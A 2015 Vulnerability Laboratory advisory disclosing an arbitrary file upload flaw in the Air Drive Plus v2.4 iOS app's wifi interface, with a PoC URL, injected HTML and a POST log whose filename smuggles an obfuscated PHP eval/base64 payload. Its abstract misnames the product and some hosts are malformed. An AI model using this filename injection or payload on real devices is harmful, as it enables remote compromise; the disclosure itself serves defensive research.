187 lines
No EOL
9 KiB
Text
187 lines
No EOL
9 KiB
Text
Document Title:
|
|
===============
|
|
Air Drive Plus v2.4 iOS - Arbitrary File Upload Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
http://www.vulnerability-lab.com/get_content.php?id=1597
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2015-09-21
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
1597
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
8.7
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Turn your iPhone, iPod touch, and iPad into a wireless disk. Share your files and photos over network, no USB cable or extra software required.
|
|
|
|
(Copy of the Vendor Homepage: https://itunes.apple.com/tr/app/air-drive-plus-your-file-manager/id422806570 )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The Vulnerability Laboratory Research Team discovered an arbitrary file upload web vulnerability in the official Photo Transfer 2 - v1.0 iOS mobile web-application.
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2015-09-21: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Y.K. YING
|
|
Product: Air Drive Plus - iOS Mobile (Web-Application) 2.4
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
High
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
An arbitrary file upload web vulnerability has been discovered in the official Air Drive Plus v2.4 iOS web-application.
|
|
The arbitrary file upload web vulnerability allows remote attackers to unauthorized include local file/path requests
|
|
or system specific path commands to compromise the mobile web-application.
|
|
|
|
The web vulnerability is located in the `filename` value of the `Upload` module. Remote attackers are able to inject own files with
|
|
malicious `filename` values in the `Upload` POST method request to compromise the mobile web-application. The local file/path include
|
|
execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the lfi payload
|
|
by usage of the wifi interface or local file sync function.
|
|
|
|
Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious
|
|
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST.
|
|
|
|
The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.7.
|
|
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege web-application user account.
|
|
Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or connected device component compromise.
|
|
|
|
Request Method(s):
|
|
[+] [POST]
|
|
|
|
Vulnerable Module(s):
|
|
[+] Upload
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename
|
|
|
|
Affected Module(s):
|
|
[+] Index File Dir Listing (http://localhost:8000/)
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The arbitrary file upload web vulnerability can be exploited by remote attacker without privilege web-application user acocunt or user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
PoC Payload(s):
|
|
http://localhost:8000/AirDriveAction_file_show/%3C./[ARBITRARY FILE UPLOAD VULNERABILITY VIA FILENAME!]%20src=a%3E2.png
|
|
|
|
|
|
PoC: Source (Upload File)
|
|
<tbody id="files"><tr><td colspan="8"><a href="#" onclick="javascript:loadfiles("/AirDriveAction_ROOTLV")">.</a></td></tr><tr><td colspan="8"><a href="#" onclick="javascript:loadfiles("/AirDriveAction_UPPERLV")">..</a></td></tr><tr class=""><td><img src="./images/file.png" height="20px" width="20px"></td><td><a target="_blank" href="/AirDriveAction_file_show/68-2.png">68-2.png</a></td><td>24,27KB</td><td align="center">2015-09-11 13:13:25</td><td align="center"><a onclick="javascript:delfile("68-2.png");" class="transparent_button">Delete</a></td></tr><tr class=""><td><img src="./images/file.png" height="20px" width="20px"></td><td><a target="_blank" href="/AirDriveAction_file_show/%3C./[ARBITRARY FILE UPLOAD VULNERABILITY VIA FILENAME!]">2.png</a></td><td>538,00B</td><td align='center'>2015-09-11 13:17:21</td><td align='center'><a onclick='javascript:delfile("%3C./[ARBITRARY FILE UPLOAD VULNERABILITY VIA FILENAME!]%20src=a%3E2.png");' class='transparent_button'>Delete</a></td></tr></tbody></table></iframe></a></td></tr></tbody>
|
|
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
Status: pending[]
|
|
POST http://localhost:8000/AirDriveAction_file_add Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[unknown] Mime Type[unknown]
|
|
Request Header:
|
|
Host[localhost:8000:8000]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate]
|
|
Referer[http://localhost:8000/index_files.html]
|
|
POST-Daten:
|
|
POST_DATA[-----------------------------52852184124488
|
|
Content-Disposition: form-data; name="uploadfile"; filename="<?php
|
|
//Obfuscation provided by BKM - PHP Obfuscator v2.47: $kda1640d3bfb="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($kda1640d3bfb(
|
|
"JGU3NTJiNzQxMTZhYzYwMjUzMDFiYWNlOGUwZTA2YmNiPSJc ... ... ...2MVx4MzhcNjJceDMwXDY3XHgzOFw2M1x4MzlcNjBceDM3XDE0Mlx4MzZcNjdceDM5XDE0NFx4MzVcMTQzXHg2Nlw
|
|
xNDZceDY1XDYzXHgzN1wxNDEiKT8kYjdkOTFjZDYwMzJlNDRiNDgzY2Y5MGRhOWM4ZmI1MDAoKTokdTZiZmM2YmN
|
|
jZjRiMjk4ZDkyZTQzMzFhMzY3MzllMjAoKTs="));
|
|
?>
|
|
2.png"
|
|
Content-Type: image/png
|
|
|
|
Status: 200[OK]
|
|
GET http://localhost:8000/a[ARBITRARY FILE UPLOAD VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[unknown] Mime Type[unknown]
|
|
Request Header:
|
|
Host[localhost:8000]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate]
|
|
Referer[http://localhost:8000/index_files.html]
|
|
|
|
|
|
|
|
Reference(s):
|
|
http://localhost:8000/index_files.html
|
|
http://localhost:8000/AirDriveAction_file_add/
|
|
http://1localhost:8000/AirDriveAction_file_show/
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the arbitrary file upload web vulnerability in the filename value is estimated as high. (CVSS 8.7)
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
|
|
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
|
|
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
|
|
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
|
|
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
|
|
policies, deface websites, hack into databases or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
|
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
|
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
|
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
|
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
|
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY - RESEARCH TEAM
|
|
SERVICE: www.vulnerability-lab.com
|
|
CONTACT: research@vulnerability-lab.com
|
|
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt |